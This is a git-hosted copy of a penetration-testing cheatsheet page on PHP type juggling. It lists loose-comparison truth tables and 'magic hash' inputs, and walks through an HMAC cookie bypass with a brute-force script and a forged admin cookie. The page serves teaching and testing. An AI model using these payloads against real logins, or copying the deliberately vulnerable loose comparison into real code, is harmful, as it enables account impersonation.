daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

index.md (10727B)


      1 ---
      2 title: "Type Juggling"
      3 topic: "Type Juggling"
      4 topicSlug: "type-juggling"
      5 sourcePath: "Type Juggling/README.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Type%20Juggling/README.md"
      7 sha: "3ac27901c711"
      8 isReadme: true
      9 ---
     10 
     11 # Type Juggling
     12 
     13 > PHP is a loosely typed language, which means it tries to predict the programmer's intent and automatically converts variables to different types whenever it seems necessary. For example, a string containing only numbers can be treated as an integer or a float. However, this automatic conversion (or type juggling) can lead to unexpected results, especially when comparing variables using the '==' operator, which only checks for value equality (loose comparison), not type and value equality (strict comparison).
     14 
     15 ## Summary
     16 
     17 * [Loose Comparison](#loose-comparison)
     18     * [True Statements](#true-statements)
     19     * [NULL Statements](#null-statements)
     20     * [Loose Comparison](#loose-comparison)
     21 * [Magic Hashes](#magic-hashes)
     22 * [Methodology](#methodology)
     23 * [Labs](#labs)
     24 * [References](#references)
     25 
     26 ## Loose Comparison
     27 
     28 > PHP type juggling vulnerabilities arise when loose comparison (== or !=) is employed instead of strict comparison (=== or !==) in an area where the attacker can control one of the variables being compared. This vulnerability can result in the application returning an unintended answer to the true or false statement, and can lead to severe authorization and/or authentication bugs.
     29 
     30 * **Loose** comparison: using `== or !=` : both variables have "the same value".
     31 * **Strict** comparison: using `=== or !==` : both variables have "the same type and the same value".
     32 
     33 ### True Statements
     34 
     35 | Statement                       | Output                           |
     36 | ------------------------------- | :------------------------------: |
     37 | `'0010e2'   == '1e3'`           | true                             |
     38 | `'0xABCdef' == ' 0xABCdef'`     | true (PHP 5.0) / false (PHP 7.0) |
     39 | `'0xABCdef' == '     0xABCdef'` | true (PHP 5.0) / false (PHP 7.0) |
     40 | `'0x01'     == 1`               | true (PHP 5.0) / false (PHP 7.0) |
     41 | `'0x1234Ab' == '1193131'`       | true (PHP 5.0) / false (PHP 7.0) |
     42 | `'123'  == 123`                 | true                             |
     43 | `'123a' == 123`                 | true                             |
     44 | `'abc'  == 0`                   | true                             |
     45 | `'' == 0 == false == NULL`      | true                             |
     46 | `'' == 0`                       | true                             |
     47 | `0  == false`                   | true                             |
     48 | `false == NULL`                 | true                             |
     49 | `NULL == ''`                    | true                             |
     50 
     51 > PHP8 won't try to cast string into numbers anymore, thanks to the Saner string to number comparisons RFC, meaning that collision with hashes starting with 0e and the likes are finally a thing of the past! The Consistent type errors for internal functions RFC will prevent things like `0 == strcmp($_GET['username'], $password)` bypasses, since strcmp won't return null and spit a warning any longer, but will throw a proper exception instead.
     52 
     53 ![LooseTypeComparison](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Type%20Juggling/Images/table_representing_behavior_of_PHP_with_loose_type_comparisons.png)
     54 
     55 Loose Type comparisons occurs in many languages:
     56 
     57 * [MariaDB](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/Mariadb)
     58 * [MySQL](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/Mysql)
     59 * [NodeJS](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/NodeJS)
     60 * [PHP](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/PHP)
     61 * [Perl](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/Perl)
     62 * [Postgres](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/Postgres)
     63 * [Python](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/Python)
     64 * [SQLite](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/SQLite/2.6.0)
     65 
     66 ### NULL Statements
     67 
     68 | Function | Statement             | Output |
     69 | -------- | --------------------- | :----: |
     70 | sha1     | `var_dump(sha1([]));` | NULL   |
     71 | md5      | `var_dump(md5([]));`  | NULL   |
     72 
     73 ## Magic Hashes
     74 
     75 > Magic hashes arise due to a quirk in PHP's type juggling, when comparing string hashes to integers. If a string hash starts with "0e" followed by only numbers, PHP interprets this as scientific notation and the hash is treated as a float in comparison operations.
     76 
     77 | Hash | "Magic" Number / String                 | Magic Hash                       | Found By / Description                                                  |
     78 | ---- | --------------------------------------- | -------------------------------- | ----------------------------------------------------------------------- |
     79 | MD4  | gH0nAdHk                                | 0e096229559581069251163783434175 | [@spaze](https://github.com/spaze/hashes/blob/master/md4.md)            |
     80 | MD4  | IiF+hTai                                | 00e90130237707355082822449868597 | [@spaze](https://github.com/spaze/hashes/blob/master/md4.md)            |
     81 | MD5  | 240610708                               | 0e462097431906509019562988736854 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) |
     82 | MD5  | QNKCDZO                                 | 0e830400451993494058024219903391 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) |
     83 | MD5  | 0e1137126905                            | 0e291659922323405260514745084877 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) |
     84 | MD5  | 0e215962017                             | 0e291242476940776845150308577824 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) |
     85 | MD5  | 129581926211651571912466741651878684928 | 06da5430449f8f6f23dfc1276f722738 | Raw: ?T0D??o#??'or'8.N=?                                                |
     86 
     87 | Hash    | "Magic" Number / String | Magic Hash                                                       | Found By / Description                                                           |
     88 | ------- | ----------------------- | ---------------------------------------------------------------- | -------------------------------------------------------------------------------- |
     89 | SHA1    | 10932435112             | 0e07766915004133176347055865026311692244                         | Michael A. Cleverly, Michele Spagnuolo & Rogdham                                 |
     90 | SHA-224 | 10885164793773          | 0e281250946775200129471613219196999537878926740638594636         | [@TihanyiNorbert](https://twitter.com/TihanyiNorbert/status/1138075224010833921) |
     91 | SHA-256 | 34250003024812          | 0e46289032038065916139621039085883773413820991920706299695051332 | [@TihanyiNorbert](https://twitter.com/TihanyiNorbert/status/1148586399207178241) |
     92 | SHA-256 | TyNOQHUS                | 0e66298694359207596086558843543959518835691168370379069085300385 | [@Chick3nman512](https://twitter.com/Chick3nman512/status/1150137800324526083)   |
     93 
     94 ```php
     95 <?php
     96 var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true)
     97 var_dump(md5('aabg7XSs')  == md5('aabC9RqS'));
     98 var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
     99 var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
    100 ?>
    101 ```
    102 
    103 ## Methodology
    104 
    105 The vulnerability in the following code lies in the use of a loose comparison (!=) to validate the $cookie['hmac'] against the calculated `$hash`.
    106 
    107 ```php
    108 function validate_cookie($cookie,$key){
    109  $hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['expiration'], $key);
    110  if($cookie['hmac'] != $hash){ // loose comparison
    111   return false;
    112   
    113  }
    114  else{
    115   echo "Well done";
    116  }
    117 }
    118 ```
    119 
    120 In this case, if an attacker can control the $cookie['hmac'] value and set it to a string like "0", and somehow manipulate the hash_hmac function to return a hash that starts with "0e" followed only by numbers (which is interpreted as zero), the condition $cookie['hmac'] != $hash would evaluate to false, effectively bypassing the HMAC check.
    121 
    122 We have control over 3 elements in the cookie:
    123 
    124 * `$username` - username you are targeting, probably "admin"
    125 * `$expiration` - a UNIX timestamp, must be in the future
    126 * `$hmac` - the provided hash, "0"
    127 
    128 The exploitation phase is the following:
    129 
    130 * Prepare a malicious cookie: The attacker prepares a cookie with $username set to the user they wish to impersonate (for example, "admin"), `$expiration` set to a future UNIX timestamp, and $hmac set to "0".
    131 * Brute force the `$expiration` value: The attacker then brute forces different `$expiration` values until the hash_hmac function generates a hash that starts with "0e" and is followed only by numbers. This is a computationally intensive process and might not be feasible depending on the system setup. However, if successful, this step would generate a "zero-like" hash.
    132 
    133  ```php
    134  // docker run -it --rm -v /tmp/test:/usr/src/myapp -w /usr/src/myapp php:8.3.0alpha1-cli-buster php exp.php
    135  for($i=1424869663; $i < 1835970773; $i++ ){
    136   $out = hash_hmac('md5', 'admin|'.$i, '');
    137   if(str_starts_with($out, '0e' )){
    138    if($out == 0){
    139     echo "$i - ".$out;
    140     break;
    141    }
    142   }
    143  }
    144  ?>
    145  ```
    146 
    147 * Update the cookie data with the value from the bruteforce: `1539805986 - 0e772967136366835494939987377058`
    148 
    149  ```php
    150  $cookie = [
    151   'username' => 'admin',
    152   'expiration' => 1539805986,
    153   'hmac' => '0'
    154  ];
    155  ```
    156 
    157 * In this case we assumed the key was a null string : `$key = '';`
    158 
    159 ## Labs
    160 
    161 * [Root Me - PHP - Type Juggling](https://www.root-me.org/en/Challenges/Web-Server/PHP-type-juggling)
    162 * [Root Me - PHP - Loose Comparison](https://www.root-me.org/en/Challenges/Web-Server/PHP-Loose-Comparison)
    163 
    164 ## References
    165 
    166 * [(Super) Magic Hashes - myst404 (@myst404_) - October 7, 2019](https://web.archive.org/web/20191113170442/https://offsec.almond.consulting/super-magic-hash.html)
    167 * [Magic Hashes - Robert Hansen - May 11, 2015](http://web.archive.org/web/20160722013412/https://www.whitehatsec.com/blog/magic-hashes/)
    168 * [Magic hashes – PHP hash "collisions" - Michal Špaček (@spaze) - May 6, 2015](https://github.com/spaze/hashes)
    169 * [PHP Magic Tricks: Type Juggling - Chris Smith (@chrismsnz) - August 18, 2020](http://web.archive.org/web/20200818131633/https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf)
    170 * [Writing Exploits For Exotic Bug Classes: PHP Type Juggling - Tyler Borland (TurboBorland) - August 17, 2013](https://web.archive.org/web/20131129232245/http://turbochaos.blogspot.com:80/2013/08/exploiting-exotic-bugs-php-type-juggling.html)